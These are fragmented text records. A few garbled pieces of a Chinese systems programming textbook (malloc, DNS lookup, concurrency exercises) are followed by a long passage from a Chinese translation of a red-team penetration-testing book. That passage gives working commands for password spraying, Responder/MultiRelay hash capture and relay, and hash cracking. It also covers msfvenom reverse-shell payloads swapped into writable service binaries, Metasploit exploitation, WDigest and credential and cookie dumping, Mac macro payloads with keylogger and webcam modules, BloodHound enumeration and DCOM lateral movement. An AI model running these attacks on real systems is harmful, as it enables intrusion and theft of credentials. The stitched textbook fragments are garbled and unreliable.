    {"text": "code/vm/malloc/mm. c static void place(void *bp, size_t asize) { 3 size_t csize = GET_SIZE(HDRP(bp)); if ((csize - asize) >= (2+DSIZE)) { PUT(HDRP(bp), PACK(asize, 1));\n[ ←11 ] 图11-11 DNS主机条目结构 因特网应用程序通过调用gethostbyname和gethostbyaddr函数，从DNS数据库中 检索任意的主机条目。 [ ←12 ] netdb.h\n[ ←13 ] code/netp/hostinfo.c\n[ ←14 ] 图11-12检索并打印一个DNS主机条目 我们可以借助图11-12中的hostinfo程序来挖掘一些DNS映射的特性，这个程序从命令 行读取一个域名或点分十进制地址，并显示相应的主机条目。 每台因特网主机都有本地定义的域 名localhost,这个域名总是映射为 本地回送地址 （loopbackaddress) 127.0.0.1: unix> ./hostinfo localhost official hostname: localhost alias: localhost.localdomain address: 127.0.0.1\n[ ←15 ] code/netp/tiny/tiny. c\n[ ←16 ] 图12-5基于进程的并发echo服务器。"},
    {"text": "父进程派生一个子进程来处理每个新的连接请求\n[ ←17 ] code/conc/echoserverp. c\n[ ←18 ] code/conc/hellobug. c 图12-44家庭作业题12.17的有bug的程序 用图 12 - 21 中的进度图，将下面的轨迹线分类为安全或者不安全的。"},
    {"text": "丑2，L2, ^2» 好1’ 乙1，知，\"1，*^1，『1，^2 Hi, Hi, Li, Ui, Si, [2，7\\，/72，^2» Hi, L\\, Hii L 2 , U 2 , S 2 , U\\j T 2 图 12-26 中第一类读者一写者问题的解答给予读者的是有些弱的优先级，因为读者在离开它的临界 区时，可能会重启一个正在等待的写者，而不是一个正在等待的读者。"},
    {"text": "为什么会或者为什么不会? 初始时：a = l, c = l. 线程 1 : 线程 2 :\n[ ←20 ] code/src/csapp. c void nnix_error(char *msg) /* Unix-style error */ fprintf(stderr, \"%s: %s\\n\", msg, strerror(errno)); exit(0); void posix_error(int code, char *msg) /* Posix-style error */ fprintf(stderr, \"%s: %s\\n\", msg, strerror(code)); exit(0); void dns_error(char *msg) /* DNS-stvle error */ fprintf(stderr, \"%s: DNS error %d\\n\", msg, h_errno); 图A-l错误报告函数\n[ ←21 ] struct hostent *Gethostbyname(const char *name)"},
    {"text": "第4章 带球——开始攻击网络 第4章 带球——开始攻击网络 第4章 带球——开始攻击网络 译者： @Snowming 校对者： @鶇 、 @leitbogioro 、@哈姆太郎、@匿名jack 在进行风险评估项目的第二天，你使用 nmap 扫描了目标的全部网段，还启动了漏洞扫描器，但运气不太好，你没有探测出任何 Web 应用程序的初始入口点。"},
    {"text": "因为你知道，一旦可以进入目标网络，就可以使用无数的技巧来获得更多的凭证、在域中漫游、利用 AD（活动目录）的特性，最后找到我们要找的东西。"},
    {"text": "最近一段时间，爆出了很多严重的远程代码执行漏洞，比如 永恒之蓝（MS017-10）、多个版本的 Jenkins 漏洞、Apache Struts 2、CMS 应用的代码执行漏洞等等。"},
    {"text": "当公司开始暴露在互联网上时，我们看到公司需要对电子邮件（如 Office 365或 OWA）、通信工具（如 Lync、XMPP、WebEx）、协作工具（如 JIRA、Slack、Hipchat、Huddle）和其他外部服务（如 Jenkins、CMS 站点、支持站点）进行身份验证。"},
    {"text": "在信息收集阶段，我们发现并识别了大量的电子邮箱地址和用户名帐号，我们将对这些获取到的信息进行一种叫“密码喷洒”（Password Spraying）的攻击。"},
    {"text": "我们将针对所有不同的应用程序，尝试猜测基本密码，正如我们在现实世界的 APT 活动中看到的那样（ US-CERT 文章： http://bit.ly/2qyB9rb ）。"},
    {"text": "在密码爆破攻击中，黑客选择一个易受攻击的 ID 并一个接一个地输入密码，希望有一些密码可以让他们进入。 基本上，密码爆破是用多个密码尝试破解同一个 ID。 而密码喷洒攻击，是用一个密码来尝试多个用户 ID，以便至少有一个用户 ID 被泄露。 对于密码喷洒攻击，黑客使用社交工程或其他网络钓鱼方法收集多个用户 ID。"},
    {"text": "在密码喷洒攻击中，黑客会为他或她收集的所有用户 ID 应用精心构造的密码。 因此，密码喷洒攻击可以定义为将相同的密码应用于组织中的多个用户帐户，目的是安全的对其中一个帐户进行未授权访问。"},
    {"text": "要使用 Spray，你需要指定以下几个参数: spray.sh -owa <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <Domain> 正如你将在下面的示例中看到的那样，我们使用 Spray 对 cyberspacekittens 上的一个 OWA 邮件服务器（该服务器现在已经下线了）进行密码破解，当它使用密码 Spring2018与用户名 peter 尝试进行配对时，成功的登进了系统。"},
    {"text": "公司名称+年份/编号/特殊的字符 (如!,$,#,@） 编好了密码之后，我们就可以24小时不间断缓慢地运行我们的账号破解程序，慢是为了避免触发任何帐号锁定。"},
    {"text": "例如，在我们的例子中， post-request.txt 文件如下所示： POST /owa/auth.owa HTTP/1.1 Host: mail.cyberspacekittens.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html，application/xhtml+xml，application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://mail.cyberspacekittens.com/owa/auth/logon.aspx?replaceCurrent=1&url=https%3a%2f%2fmail.cyberspacekittens.com%2fowa%2f Cookie: ClientId=VCSJKT0FKWJDYJZIXQ; PrivateComputer=true; PBack=0 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 131 destination=https%3A%2F%2Fcyberspacekittens.com%2Fowa%2F&flags=4&forcedownlevel=0 译者注：最后一个 destination 字段的内容本书的英文版本貌似显示不全，至少是我拿到的英文版本 PDF 显示不全。"},
    {"text": "虽然我们主要讨论使用 Ruler 来进行密码破解/信息收集，但是这个工具也支持一些持久性漏洞利用攻击，我们将略微提及这点。 我们可以用的 Ruler 的第一个功能类似于 Spray，它通过对用户名和密码进行匹配来进行账号的破解。"},
    {"text": "运行 Ruler： ruler --domain cyberspacekittens.com brute --users ./users.txt --passwords ./passwords.txt 一旦我们找到了一个密码，我们就可以使用 Ruler 来获取 Office 365的全局地址列表（GAL）中的所有用户，以查找更多的电子邮件地址及其所属的电子邮件组。"},
    {"text": "一个理想的 Windows 测试实验环境，你可以自己创建，大概是下面这样的: 域控制器-服务器：[Windows 2016域控制器] Web服务器：[IIS on Windows 2016] 客户端机器：[Windows 10]x3和 [Windows 7]x2 全部运行着 VMWare 的工作站中，工作站的内存至少16GB，SSD 硬盘500GB 配置和创建域控制器: 微软关于构建2016版服务器的说明: https://blogs.technet.microsoft.com/canitpro/2017/02/22/step-by-step-setting-up-active-directory-in-windows-server-2016/ 短地址： http://bit.ly/2JN8E19 安装和配置 Active Directory 之后，使用：dsac.exe 创建用户和组 创建多个用户 创建组并分配给用户（下面是分组）： Space Helpdesk Lab 设置客户端机器（Windows 7/10）加入域： 将所有机器都打好系统补丁 将机器连接到域 https://helpdeskgeek.com/how-to/windows-join-domain/ 确保添加一个域用户，该用户能够作为本地管理员在每个系统上运行。"},
    {"text": "在每个主机上启用本地管理员并设置密码 将 GPO（组策略）设置为: 禁用防火墙 ( https://www.youtube.com/watch?v=vxXLJSbx1SI ) 禁用 AV( http://bit.ly/2EL0uTd ) 禁用系统自动更新 将 Helpdesk 用户组添加到本地管理员组 仅允许域管理员、本地管理员、Helpdesk 登录( http://bit.ly/2qyJs5D ) 最后，将 GPO 设置同步到主域 将每个操作系统的所有用户设置为自动登录（这会使得攻击测试更加容易）。"},
    {"text": "每次机器启动或重新启动时，它都会自动登录，这样我们就可以轻松地进行攻击并从内存中提取凭证： https://support.microsoft.com/en-us/help/324737/how-to-turn-on-automatic-logon-in-windows 短地址： http://bit.ly/2EKatIk 设置 IIS 服务器并配置 SPN： https://www.rootusers.com/how-to-install-iis-in-windows-server-2016/ 短地址： http://bit.ly/2JJQvRK https://support.microsoft.com/en-us/help/929650/how-to-use-spns-when-you-configure-web-applications-that-are-hosted-on 短地址： http://bit.ly/2IXZygL 在内网中没有凭据 假设你无法通过探测外部服务获得任何密码，因此决定潜入大楼内部。"},
    {"text": "你拿出你非常信任的 drop box，找到一间空办公室，把它插上网络，检查你的手机，看看它是否正确传回了 beacon 到了你的家中，确认之后迅速逃回安全的地方。"},
    {"text": "当你汗流浃背地回到家时候，迅速地找到你的笔记本电脑，登陆你的 VPN 服务器，当你看到那个 beacon 还在连接家里的时候，你就可以松一口气了。 现在你可以现在用 SSH 连接 beacon，可以慢慢地去拓展受感染主机的内部网络，在多个主机之间移动，并尝试拿到你所关心的数据。"},
    {"text": "回顾一下上本书，当网络上的系统执行查找 DNS 主机名失败时，受害者系统就会使用 Link-Local Multicast Name Resolution（简称 LLMNR）和 Net-BIOS Name Service（NBT-NS）进行回退 DNS 名称解析。"},
    {"text": "我们可以使用像 Responder 这样的工具来利用那些寻找有主机名的系统，并使用我们的攻击服务器对其进行响应。 更好的是，Responder 可以更进一步，充当 WPAD（Web Proxy Auto-Discovery Protocol，Web 代理自动发现协议）服务器，通过我们的攻击者服务器代理所有数据，但这是另一种攻击了。"},
    {"text": "cd /opt/Responder ./Responder.py -I eth0 –wrf 现在，因为我们处于 Windows 的企业环境中，我们可以假设它很可能正在运行 Active Directory（活动目录）。"},
    {"text": "这些哈希表的唯一缺点是，破解它们的速度要比普通的 NTLM 哈希表要慢得多，但是相比于我们要进行的大型凭证爆破动作来说，这不是一个大麻烦。"},
    {"text": "hashcat -m 5600 hashes\\ntlmssp_hashes.txt passwordlists/* 现在，假设我们并不是真的想破解哈希，或者我们不介意提醒用户有一些值得可疑的地方。"},
    {"text": "python ./Responder.py -I eth0 -wfFbv 从上面的图像中可以看到，用户将被提示输入用户名和密码，大多数人只是按部就班的按提示输入。"},
    {"text": "一旦他们提交了他们的用户名和密码，我们将能够捕获他们的密码明文! 更好的 Responder（MultiRelay.py） 使用 Responder 和破解 NTLMv2-SSP 哈希的问题是，破解这些哈希所需的时间可能很长。"},
    {"text": "如果所处环境不强制执行 SMB 签名（ 我们可以通过快速的 nmap 脚本扫描找到 - https://nmap.org/nsedoc/scripts/smb-security-mode.html ），我们可以使用一个巧妙的小技巧来重新播放捕获的 SMB 请求。"},
    {"text": "根据 Laurent 的网站描述，MultiRelay 是一个强大的渗透测试实用程序，包含在响应程序工具的文件夹中，使你能够在选定的目标上执行目标 NTLMv1 和 NTLMv2 中继器。"},
    {"text": "”[ http://g-laurent.blogspot.com/2016/10/introducing-responder-multiray-10.html ] 从较高的层面来看，MultiRelay 不会强制受害者对我们的 SMB 共享进行身份验证，而是将任何含有身份验证的请求转发给我们选择的受害者主机。"},
    {"text": "首先，我们需要配置我们的 Responder 和 MultiRelay： 编辑 Responder 配置文件以禁用 SMB 和 HTTP 服务器 编辑 Responder.conf 将 SMB 和 HTTP 更改为 Off 开始 Responder python ./Responder.py -I eth0 -rv 在一个新的终端窗口中启动多中继 /opt/Responder/tools ./MultiRelay.py -t -c -u ALL 一旦可以实现通过中继连接到受害者主机，我们就需要考虑要在受害者的主机上执行什么操作。"},
    {"text": "默认情况下，MultiRelay 可以生成一个比较基础的 shell，但我们也可以自动执行 Meterpreter PowerShell payloads、Empire PowerShell payloads、dnscat2 PowerShell payloads、PowerShell 脚本（用于下载和执行 C2代理)、Mimikatz，或者只是运行 calc.exe 作为测试娱乐。"},
    {"text": "参考文献 http://threat.tevora.com/quick-tip-skip-cracking-responder-hashes-and-replay-them/ PowerShell Responder 一旦我们攻击进了 Windows 系统，我们就可以在受害者机器上使用 PowerShell 进行 Responder 攻击。"},
    {"text": "原始 Responder 的两个功能都可以通过以下两个工具执行： Inveigh - https://github.com/Kevin-Robertson/Inveigh/blob/master/Inveigh.ps1 Inveigh-Relay 更简单的是，这一切都已经集成在 Empire 中了。"},
    {"text": "没有凭据的用户枚举 一旦进入了内网中，我们可以使用 Responder 来获得凭证或 shell，但有时也会发现同时启用 SMB 签名和破解 NTLMv2 SSP 是没有实质进展的。"},
    {"text": "一种选择就是利用 Kerberos： nmap -p88 --script krb5-enum-users --script-args krb5-enum-users.realm=“cyberspacekittens.local”,userdb=/opt/userlist.txt 我们将需要提供一个要测试的用户名列表，但是由于我们只是查询 DC（域控制器）而没有对其进行身份验证，因此通常此行动不会被检测。"},
    {"text": "现在，我们可以采用这些用户帐户，并再次开始密码猜解! 使用 CrackMapExec（CME）扫描网络 如果我们还没有成功入侵进一个系统，但是我们确实通过 Responder、错误配置的 Web 应用程序、暴力破解或通过打印机获得了登录凭证，那么我们可以尝试扫描网络，看看这个帐户可以登录到哪里。"},
    {"text": "在下面的场景中，我们将使用其 REST API 启动 Empire，在 CME 中配置密码，让 CME 连接到 Empire，使用我们拥有的单一凭证扫描网络，最后，如果成功完成身份验证，则自动将 Empire 的 payload 推送到远程受害者的系统。"},
    {"text": "启动 Empire 的 REST API 服务器 cd /opt/Empire ./empire --rest --password ‘hacktheuniverse’ 更改 CrackMapExec 密码 打开 /root/.cme/cme.conf password=hacktheuniverse 运行 CME 来生成 Empire shells cme smb 10.100.100.0/24 -d ‘cyberspacekittens.local’ -u ‘ ’ -p ‘ ’ -M empire_exec -o LISTENER=http 在攻陷你的第一台机器之后 当你通过社会工程、drop box、Responder、攻击打印机或通过其他攻击获得对主机的访问权限后，下一步要做什么？"},
    {"text": "下面是一些我们最初可能运行的其他示例命令： 网络信息: netstat -anop | findstr LISTEN net group “Domain Admins” /domain 流程列表: tasklist /v 系统主机信息: sysinfo Get-WmiObject -class win32 operatingsystem | select -property * | exportcsv c:\\temp\\os.txt wmic qfe get Caption，Description，HotFixID，InstalledOn 简单的文件搜索: dir /s password findstr /s /n /i /p foo * findstr /si pass .txt | .xml | *.ini 来自共享/挂载驱动器的信息: powershell -Command “get-WmiObject -class Win32_Share” powershell -Command “get-PSDrive” powershell -Command “Get-WmiObject -Class Win32_MappedLogicalDisk | select Name， ProviderName” 让我们现实一点，没有人有时间记住所有的命令，但是我们很幸运！"},
    {"text": "我相信，我相信我们可以在一个名为 RTFM.py 的工具中轻松搜索到这些命令，这是 @leostat 基于 RTFM 书籍(很棒的资源)创建的一个快速查询的 Python 脚本，其中包含大量这些方便的命令。"},
    {"text": "更新并运行 RTFM cd /opt/rtfm chmod +x rtfm.py ./rtfm.py -u ./rtfm.py -c ‘rtfm’ 搜索所有标签 ./rtfm.py -Dt 查看每个标记的所有查询/命令。"},
    {"text": "假设我们有一个服务被配置为执行 C:\\Program Files (x86)\\Cyber Kittens\\Cyber Kittens.exe。 如果我们有 CK 文件夹的写入权限，我们可以将其替换为 C:\\Program Files (x86)\\Cyber Kittens\\Cyber.exe（注意，原名称中的 Kittens.exe 消失了）的恶意软件。"},
    {"text": "如何找到易受攻击的服务路径: 通过 wmic 服务获取名称、注意 displayname、pathname、startmode |findstr /i \"Auto\" |findstr /i /v \"C:\\Windows\\\" | findstr /i /v \"\"\" 寻找 BINARY_PATH_NAME 查找服务中存在的不安全的注册表权限: 识别允许更新服务映像路径位置的弱权限账户 检查 AlwaysInstallElevated 注册表项是否已启用： 检查 AlwaysInstallElevated 注册表项，该注册表项指示.msi 文件应以较高的权限 ( NT AUTHORITY\\SYSTEM ) 安装 https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/always_install_elevated.rb 请注意，我们并不需要手动完成这些操作，因为别人已经创建了一些好的 metasploit 和 PowerShell 模块，特别是针对 Windows 的模块。"},
    {"text": "Empire PowerUp 模块: usermodule privesc/powerup/allchecks 最突出的是: ServiceName： WavesSysSvc Path： C:\\Program Files\\Waves\\MaxxAudio\\WavesSysSvc64.exe ModifiableFile： C:\\Program Files\\Waves\\MaxxAudio\\WavesSysSvc64.exe ModifiableFilePermissions： {WriteOwner, Delete, WriteAttributes, Synchronize…} ModifiableFileIdentityReference： Everyone StartName： LocalSystem 看起来任何人都可以编写 WavesSysSyc 服务。"},
    {"text": "这意味着我们可以将 WaveSysSvc64.exe 文件替换为我们自己的恶意二进制文件: 创建一个 Meterpreter 二进制文件（后续的文章将讨论如何绕过杀毒软件） msfvenom -p windows/meterpreter/reverse_https LHOST=[ip] LPORT=8080 -f exe > shell.exe 使用 Empire 上传二进制文件并替换原始二进制文件 upload ./shell.exe C:\\users\\test\\shell.exe shell copy C:\\users\\test\\Desktop\\shell.exe “C:\\ProgramFiles\\Waves\\MaxxAudio\\WavesSysSvc64.exe” 重新启动服务或等待其重启 一旦服务重新启动，你你应该会收到一个升级为 system 权限的 Meterpreter shell 。"},
    {"text": "如果你想深入了解 Windows 权限提升的底层问题，请查看 FuzzSecurity 的文章： http://www.fuzzysecurity.com/tutorials/16.html 。 对于未打补丁的 Windows 系统，我们确实有一些权限升级攻击，比如：（ https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1 ）和 ( https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sample-Exploits/MS16-135 ），但是我们如何快速识别目标系统上安装了哪些补丁呢，我们可以在受害者系统上使用系统默认自带的命令来查看安装了哪些系统补丁包。"},
    {"text": "我们可以拿回这个输出结果，将其复制到我们的 Kali 系统并运行 Windows Exploit Suggester 以查找已知的漏洞然后针对性的进行漏洞利用从而提升权限。 回到你攻击的 Windows 10系统： systeminfo systeminfo > windows.txt 将 windows.txt 复制到你的 Kali 虚拟机的 /opt/Windows-Exploit-Suggester 下 python ./windows-exploit-suggester.py -i ./windows.txt -d 2018-03-21-mssb.xls 这个工具已经有一段时间没有被维护了，但是你还是可以轻松地从中寻找到你正需要的能权限提升的漏洞。"},
    {"text": "我们经常监控某些领域存在公共特权升级的漏洞： http://insecure.org/search.html?q=privilege%20escalation https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=escalation&colspec=ID+Type+Status+Priority+Milestone+Owner+Summary&cells=ids 通常，这只是时间问题。"},
    {"text": "让我们来看一个简单的例子，然后快速开始： 使用 nmap 扫描 Metasploitable3 虚拟机的IP ( 确保全端口扫描免得你错过一些端口 ) 你将看到 ManageEngine 在端口8383上运行 启动 Metasploit 并搜索任何 ManageEngine 有关的漏洞 msfconsole search manageengine use exploit/windows/http/manageengine_connectionid_write set SSL True set RPORT 8383 set RHOST < Your IP> exploit getsystem 你会注意到你不能获得 system 权限，因为你所利用的服务未作为特权进程运行。"},
    {"text": "我们可以在谷歌搜索“Tomcat密码存储在哪里”，搜索结果表明：“tomcat-users.xml”。 在受害者机器中，我们可以搜索和读取 tomcat-users.xml 文件: shell cd \\ && dir /s tomcat-users.xml type “C:\\Program Files\\Apache Software Foundation\\tomcat\\apache-tomcat-8.0.33\\conf\\tomcat-users.xml 现在让我们使用找到的密码攻击 Tomcat。"},
    {"text": "search tomcat use exploit/multi/http/tomcat_mgr_upload show options set HTTPusername sploit set HTTPpassword sploit set RPORT 8282 set RHOST < Metasploitable3_IP> set Payload java/shell_reverse_tcp set LHOST < Your IP> exploit whoami 你现在应该是 system 权限了。"},
    {"text": "现在，我看到了一些奇怪的现象，其中单点登录（ SSO ）或者一些特殊的软件会把密码保存在 LSASS 进程中让 Mimikatz 读取，但是我们现在先忽略这个。"},
    {"text": "在 HKLM 中，有一个 UseLogonCredential 设置，如果设置为0，系统将在内存中存储凭据（ http://bit.ly/2vhFBiZ ）： reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 在 Empire 中，我们可以通过 shell 命令运行： shell reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 这个注册表修改的问题就是需要用户重新登录到系统。"},
    {"text": "我们可以使用两种不同的 PowerShell 脚本导入以收集此数据： 收集网络凭据： https://github.com/samratashok/nishang/blob/master/Gather/Get-WebCredentials.ps1 收集 Windows 凭证（只收集通用的而不是目标域特有的）： https://github.com/peewpw/Invoke-WCMDump/blob/master/Invoke-WCMDump.ps1 从上图中可以看到，我们提取了他们的 Facebook 存储的凭证和任何他们拥有通用的凭证。"},
    {"text": "我们不仅可以了解他们的内部服务器的大量信息，而且，如果他们的会话仍然存在，我们也可以使用他们的 cookies 和身份验证，而不必知道他们的密码! 使用如下 PowerShell 脚本： https://github.com/sekirkity/browsergather ，我们可以提取所有浏览器 cookies，并通过我们的浏览器利用这些 cookies，但是所有这些 cookies 都没有提升权限的功能。"},
    {"text": "一个叫做 SessionGopher 的工具可以从 winscp、putty、superputty、filezilla 和 microsoft 远程桌面获取主机名和保存密码。 还有一个其他功能是能够从网络上的其他系统远程获取它的本地凭据，启动 sessiongopher 的最简单方法是导入 PowerShell 脚本并执行使用： Load PowerShell File: . .\\SessionGopher.ps1 Execute SessionGopher Invoke-SessionGopher -Thorough 我们可以通过以下几种方式从主机系统获取凭证，而无需提升权限、绕过 UAC 或使用键盘记录器。"},
    {"text": "一旦进入一个 MAC 主机的内网环境，许多攻击就类似于在 Windows 主机环境中的攻击（即扫描默认凭据、Jenkin 等应用程序攻击，嗅探网络，并通过 SSH 或 VNC 横向移动）。"},
    {"text": "例如，我们可以创建一个和 Windows 主机适用的 PowerShell Empire 中的 Office 宏： 打开 Empire 首先，确保你能像我们在本书的开头所做的那样设置你的 Empire 监听器 接下来，我们需要构建一个 OSX 宏的 payload use Stager osx/macro 设置要写入本地文件系统的输出文件 set outfile/tmp/mac.py 生成 Payload 如果你查看生成的 Office 宏，你将看到它只是由 Python 执行的 Base64代码。"},
    {"text": "要在 Mac 中创建恶意 Exce l文件，我们可以打开一个新的 Excel 工作表，转到“工具”，查看宏，然后在此工作簿中创建宏，一旦 Microsoft Visual Basic 打开，就删除所有当前代码并将其替换为所有新的宏代码。"},
    {"text": "我们需要： 转储浏览器信息和密码： usemodule collection/osx/browser_dump 启用键盘记录器： usemodule collection/osx/keylogger 让应用程序提示获取密码： usemodule collection/osx/prompt 始终打开电脑摄像头拍照： usemodule collection/osx/webcam 利用 Windows 域环境的本地应用程序进行攻击 同样，在下面的示例中，我们将使用 PowerShell Empire。"},
    {"text": "现在的你已经完全空置了受害者的主机，从他们的工作主机偷走了所有的秘密，还了解一些受害者浏览的网站，并运行了一些类似 netstat 的命令进行侦察工作...那接下来是什么? 对于红队队员来说，真正的问题是找到有关服务器、工作站、用户、服务以及他们的 Active Directory 环境的可靠信息。"},
    {"text": "setspn -T [DOMAIN] -F -Q / 功能 -T = 对指定域执行查询 -F = 在 AD 环境而不是域级别环境执行查询 -Q = 在每个目标域或林环境上执行 / = 显示所有 我们可以从 setspn 中看到什么类型的信息？"},
    {"text": "我们通常可以在打印机，共享信息工作站，带有服务密码的文本文件，配置文件、iPad、包含密码的 Web 应用程序的页面源代码中中找到这些类型的帐户，但是，对于这些没有其他组成员资格的基本域用户帐户，你可以用来做什么？"},
    {"text": "它包含一组纯 PowerShell 命令替换项，用于各种 Windows 系统中的 net 命令，这些命令使用 PowerShell AD hooks 和基础的 Win32 API 函数来执行有用的 Windows 域功能[ http://bit.ly/2r9lYnH ] 。"},
    {"text": "我们可以看到他们的 sAMAccountName 或用户名，当他们的密码被更改时，看到他们的对象类别是什么，他们是什么权限组的成员，最后登录的时间是什么，等等。"},
    {"text": "例如，使用以下 Empire 的设置，我们可以搜索属于域管理组的所有域管理员和组： info set Identity “Domain Admins” set Recurse True set FullData True execute 现在，我们有一个用户、组、服务器和服务的收集列表。"},
    {"text": "我们可以用一个叫做 get_computer 的模块来获得这些信息。 Module: situational_awareness/network/powerview/get_computer 描述：get_computer 模块可以查询域中当前的计算机对象。 get_computer 查询域控制器可以获得什么信息呢？"},
    {"text": "我们可以通过获取这些信息，了解操作系统的最新版本以及它们是否在 Microsoft 的发布信息页上存在修补的补丁： https://technet.microsoft.com/en-us/windows/release-info.aspx 。"},
    {"text": "目前有两种不同的版本（我相信旧版本很快就会被移除）： 在 Empire，你可以使用模块： usemodule situational_awareness/network/bloodhound 这仍然是查询非常慢的旧的 PowerShell 版本 最好的选择是 Sharphound，Sharphound 是最原始的 C# 版本 Bloodhound Ingester。"},
    {"text": "https://github.com/BloodHoundAD/BloodHound/tree/master/Ingestors 要运行 Bloodhound/Sharphound Ingestor，你可能需要指定多个集合方法： Group - Collect group membership information 收集组成员身份信息 LocalGroup - Collect local admin information for computers 收集计算机的本地管理信息 Session - Collect session information for computers 收集计算机的会话信息 SessionLoop - Continuously collect session information until killed 持续收集会话信息直到结束 Trusts - Enumerate domain trust data 列举域内信任数据 ACL - Collect ACL (Access Control List) data 收集ACL（访问控制列表）数据 ComputerOnly - Collects Local Admin and Session data 收集本地管理和会话数据 GPOLocalGroup - Collects Local Admin information using GPO (Group Policy Objects) 使用GPO（组策略对象）收集本地管理信息 LoggedOn - Collects session information using privileged methods (needs admin!) 使用特权方法收集会话信息（需要管理员权限！ ） ObjectProps - Collects node property information for users and computers 为用户和计算机收集节点属性信息 Default - Collects Group Membership， Local Admin， Sessions， and Domain Trusts 收集组成员、本地管理员、会话和域信任关系 在目标系统上运行 Blood/Sharphound: 运行 PowerShell，然后导入 Bloodhound.ps1 或者 SharpHound.ps1： Invoke-Bloodhound -CollectionMethod Default Invoke-Bloodhound -CollectionMethod ACL，ObjectProps，Default-CompressData -RemoveCSV -NoSaveCache 运行可执行文件: SharpHound.exe -c Default，ACL，Session，LoggedOn，Trusts，Group 一旦完成了 Bloundhound/Sharphound，这四个文件将被保存到受害者机器上。"},
    {"text": "打开 Bloodhound apt-get install bloodhound neo4j console 打开浏览器访问 http://localhost:7474 连接到 bolt://localhost:7687 用户名: neo4j 密码: neo4j 修改密码 在一个终端中运行 Bloodhound： bloodhound 数据库 URL: bolt://127.0.0.1:7687 用户名: neo4j 密码：新的密码 加载数据 在右侧，有一个 Upload Data 的按钮 上传 acls.csv ， group_membership.csv ， local_admin.csv 和 sessions.csv 如果你没有一个域来测试这个，我已经在这里上传了四个 Bloodhound 文件： https://github.com/cyberspacekittens/bloodhound ，这样你就可以重复这些练习了。"},
    {"text": "在搜索栏中，我们输入该用户的用户名，单击 Pathfinding 按钮，然后键入“Domain Admin”（或任何其他用户），查看是否可以在这些对象之间显示对应的路由路径。"},
    {"text": "来看吧，@porterhau5在扩展 Bloodhound 跟踪和可视化攻击方面取得了很大进展。 查看他们的文章： https://porterhau5.com/blog/extending-bloodhound-track-and-visualize-your-compromise/ 。"},
    {"text": "使用 Bloodhound 上的 Cypher 语言和原始查询功能，我们可以运行这些查询： 向被攻陷系统添加自有标签： MATCH (n) WHERE n.name=“NEIL.PAWSTRONG@CYBERSPACEKITTENS.LOCAL” SET n.owned=“phish”， n.wave=1 运行查询以显示所有被仿冒的系统 MATCH (n) WHERE n.owned=“phish” RETURN n 现在，我们可以向 Bloodhound 添加一些自定义查询。"},
    {"text": "用以下内容替换所有文本： https://github.com/porterhau5/BloodHound-Owned/blob/master/customqueries.json 保存之后，我们应该创建更多的查询。"},
    {"text": "寻找和利用 ACEs 本身就是一个能写成完整的书的内容，但这里有一些很好的启动资源： BloodHound 1.3–acl 攻击路径更新 https://wald0.com/?p=112 介绍对抗性恢复方法 http://bit.ly/2GYU7S7 在将 ACL 数据导入 Bloodhound 时，我们要寻找什么信息？"},
    {"text": "psinject 描述“能够使用 ReflectivePick 将代理注入另一个进程，从而将通用.NET运行库时加载到进程中并执行特定的 PowerShell 命令，而无需启动新的 PowerShell.exe 进程！"},
    {"text": "”[ http://bit.ly/2HDxj6x ]，我们使用它来生成一个全新的、以 buzz.clauldrin 的用户进程运行的 agent，这样我们现在就可以获得他的访问权限。"},
    {"text": "最基本的方法是使用我们当前的有 Active Directory 权限的用户以获得对另一个系统的控制权，举个例子，一个经理可以完全访问其下属的计算机，一个拥有多个具有管理权限的会议/实验组计算机，他们的内部系统配置错误，或者发现有人手动将用户添加到该计算机上的本地管理组。"},
    {"text": "一旦攻陷了一台目标机器，我们既可以获取 Bloodhound 的结果，也可以重新扫描网络以查看我们在哪些机器上具有本地访问权限： Empire 模块: situational_awareness/network/powerview/find_localadmin_access Metasploit 模块： http://bit.ly/2JJ7ILb Empire 的 find_localadmin_access 将查询 Active Directory 中的所有主机名并尝试连接到它们。"},
    {"text": "为了再次检查我们是否有访问权限，我通常会执行一些非交互的远程命令，比如 dir [remote system]\\C$ 并查看我们是否有对 C 盘的读/写权限。"},
    {"text": "在远程系统上执行 usemodule lateral_movement/invoke_wmi 设置你即将入侵的主机的相关信息： set ComputerName buzz.cyberspacekittens.local 配置你将使用的监听器: set Listener http 连接到远程主机并执行恶意程序: execute 和新的 agent 交互： agents interact sysinfo 利用 DCOM 的横向移动 有许多方法可以在主机上进行单次横向移动。"},
    {"text": "你可以使用 Powershell 命令列出计算机的所有 DCOM 应用程序：GetCimInstance Win32_DCOMApplication 安全研究员 @enigam0x3 的研究发现（ https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ ），有多个对象（例如 ShellBrowserWindow 和 ShellWindows ）允许在受害者主机上远程执行代码。 当列出所有 DCOM 应用程序（如上图所示）时，你将看到一个 CLSI 为 C08AFD90-F2A1-11D1-845500A0C91F3880 的 ShellBrowserWindow 对象。"},
    {"text": "powershell $([activator]::CreateInstance([type]::GetTypeFromCLSID(“C08AFD90-F2A1-11D1-8455-00A0C91F3880”，“buzz.cyberspacekittens.local”))).Navigate(“c:\\windows\\system32\\calc.exe”) 这将只在系统本地执行文件，并且我们不能将任何命令行参数包含到可执行文件中（因此不能使用 cmd /k 类型的攻击）。"},
    {"text": "$([activator]::CreateInstance([type]::GetTypeFromCLSID(“C08AFD90-F2A1-11D1-8455- 00A0C91F3880”，“buzz.cyberspacekittens.local”))).Navigate(“\\neil.cyberspacekittens.local\\Public\\adobeupdate.exe”) 正如你在下一张图片中看到的，Buzz 的计算机上出现了一个关于运行 adobeupdate.exe 文件的弹出窗口。"},
